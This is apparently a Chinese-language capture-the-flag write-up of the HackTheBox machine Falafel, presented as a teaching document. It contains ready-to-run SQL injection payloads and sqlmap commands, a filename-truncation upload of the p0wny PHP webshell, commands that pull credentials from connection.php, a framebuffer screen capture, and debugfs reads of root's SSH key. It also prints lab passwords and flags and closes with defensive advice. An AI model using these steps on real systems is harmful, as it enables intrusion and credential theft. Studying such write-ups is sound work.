[Meachines] [Hard] Falafel SQLMAP 登入页面盲注+文件截断上传+MCollider(MD5枚举)+devfb0帧缓冲器+debugfs权限提升
字数 1300 2025-08-20 18:18:11

Falafel 渗透测试实战教学文档

1. 信息收集阶段

1.1 目标识别

  • IP地址: 10.10.10.73
  • 开放端口:
    • 22/tcp: OpenSSH 7.2p2 (Ubuntu)
    • 80/tcp: Apache httpd 2.4.18 (Ubuntu)

1.2 服务枚举

nmap -p- 10.10.10.73 --min-rate 1000 -sC -sV

发现关键信息:

  • HTTP服务器头: Apache/2.4.18 (Ubuntu)
  • robots.txt中有一条禁止条目: /*.txt

2. Web应用渗透

2.1 SQL注入攻击

2.1.1 手动测试

在登录页面测试SQL注入:

username=admin' and '1'='1'--+&password=
username=admin' and '1'='2'--+&password=

观察响应差异:

  • 用户名不存在: 显示"重试"
  • 用户名存在: 显示"Wrong identification: admin"

2.1.2 使用sqlmap自动化

sqlmap -r sql --level 5 --risk 3 --batch --string "Wrong identification"
sqlmap -r sql --level 5 --risk 3 --batch --string "Wrong identification" --dump

获取到凭据:

  • 用户名: chris
  • 密码: juggling

2.2 管理员账户破解

使用MCollider工具爆破admin用户的MD5值:

python3 MCollider.py -md5 0e4620

结果: 240610708 (对应MD5: 0e462097431906509019562988736854)

3. 文件上传漏洞利用

3.1 文件截断攻击

  1. 上传文件会被保存在类似uploads/0909-0757_e7753937572b0b96的目录中
  2. 测试文件名长度限制:
touch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.png

发现总长度限制为241字节,超长文件名会导致.png后缀丢失

3.2 上传Webshell

  1. 创建恶意PHP文件:
cp p0wny.php AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
  1. 访问上传的Webshell:
http://10.10.10.73/uploads/0909-0811_ea7487f48ad80ceb/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

4. 权限提升路径

4.1 获取数据库凭据

在Webshell中查看数据库连接文件:

cat /var/www/html/connection.php

获取到:

  • 用户名: moshe
  • 密码: falafelIsReallyTasty

4.2 切换用户

su moshe

获取user.txt: 2b430278d922c8141b444ce36292e7f2

5. 横向移动

5.1 利用帧缓冲设备

  1. 检查当前登录用户:
w

发现yossi用户已登录

  1. 捕获帧缓冲内容:
cat /dev/fb0 > /tmp/screenshot.raw
  1. 获取屏幕分辨率:
cat /sys/class/graphics/fb0/virtual_size
  1. 使用GIMP打开raw文件(分辨率1176x885),导出为PNG查看

5.2 获取yossi凭据

从截图中发现:

  • 用户名: yossi
  • 密码: MoshePlzStopHackingMe!

6. 最终权限提升

6.1 检查块设备

df
blkid

发现:

  • sda1: 主磁盘
  • sda2: 交换磁盘

6.2 使用debugfs

debugfs /dev/sda1

在debugfs交互模式中:

cat /root/root.txt
cat /root/.ssh/id_rsa

6.3 获取root权限

  1. 设置私钥权限:
chmod 600 ./id_rsa
  1. SSH登录root:
ssh -i /tmp/id_rsa root@10.10.10.73
  1. 获取root.txt: 1f0167a6445788cc5c03f8ac93b82f71

7. 关键工具总结

  1. nmap: 端口扫描和服务识别
  2. sqlmap: SQL注入自动化工具
  3. MCollider: MD5碰撞工具
  4. debugfs: 文件系统调试工具
  5. GIMP: 图像处理工具(用于查看帧缓冲数据)

8. 防御建议

  1. 对用户输入进行严格过滤,防止SQL注入
  2. 限制上传文件类型和文件名长度
  3. 使用更安全的哈希算法(如SHA-256)代替MD5
  4. 限制对/dev/fb0等设备的访问
  5. 定期检查系统上的suid文件和异常进程
  6. 更新系统和软件到最新版本
Falafel 渗透测试实战教学文档 1. 信息收集阶段 1.1 目标识别 IP地址: 10.10.10.73 开放端口: 22/tcp: OpenSSH 7.2p2 (Ubuntu) 80/tcp: Apache httpd 2.4.18 (Ubuntu) 1.2 服务枚举 发现关键信息: HTTP服务器头: Apache/2.4.18 (Ubuntu) robots.txt中有一条禁止条目: /*.txt 2. Web应用渗透 2.1 SQL注入攻击 2.1.1 手动测试 在登录页面测试SQL注入: 观察响应差异: 用户名不存在: 显示"重试" 用户名存在: 显示"Wrong identification: admin" 2.1.2 使用sqlmap自动化 获取到凭据: 用户名: chris 密码: juggling 2.2 管理员账户破解 使用MCollider工具爆破admin用户的MD5值: 结果: 240610708 (对应MD5: 0e462097431906509019562988736854) 3. 文件上传漏洞利用 3.1 文件截断攻击 上传文件会被保存在类似 uploads/0909-0757_e7753937572b0b96 的目录中 测试文件名长度限制: 发现总长度限制为241字节,超长文件名会导致.png后缀丢失 3.2 上传Webshell 创建恶意PHP文件: 访问上传的Webshell: 4. 权限提升路径 4.1 获取数据库凭据 在Webshell中查看数据库连接文件: 获取到: 用户名: moshe 密码: falafelIsReallyTasty 4.2 切换用户 获取user.txt: 2b430278d922c8141b444ce36292e7f2 5. 横向移动 5.1 利用帧缓冲设备 检查当前登录用户: 发现yossi用户已登录 捕获帧缓冲内容: 获取屏幕分辨率: 使用GIMP打开raw文件(分辨率1176x885),导出为PNG查看 5.2 获取yossi凭据 从截图中发现: 用户名: yossi 密码: MoshePlzStopHackingMe ! 6. 最终权限提升 6.1 检查块设备 发现: sda1: 主磁盘 sda2: 交换磁盘 6.2 使用debugfs 在debugfs交互模式中: 6.3 获取root权限 设置私钥权限: SSH登录root: 获取root.txt: 1f0167a6445788cc5c03f8ac93b82f71 7. 关键工具总结 nmap : 端口扫描和服务识别 sqlmap : SQL注入自动化工具 MCollider : MD5碰撞工具 debugfs : 文件系统调试工具 GIMP : 图像处理工具(用于查看帧缓冲数据) 8. 防御建议 对用户输入进行严格过滤,防止SQL注入 限制上传文件类型和文件名长度 使用更安全的哈希算法(如SHA-256)代替MD5 限制对/dev/fb0等设备的访问 定期检查系统上的suid文件和异常进程 更新系统和软件到最新版本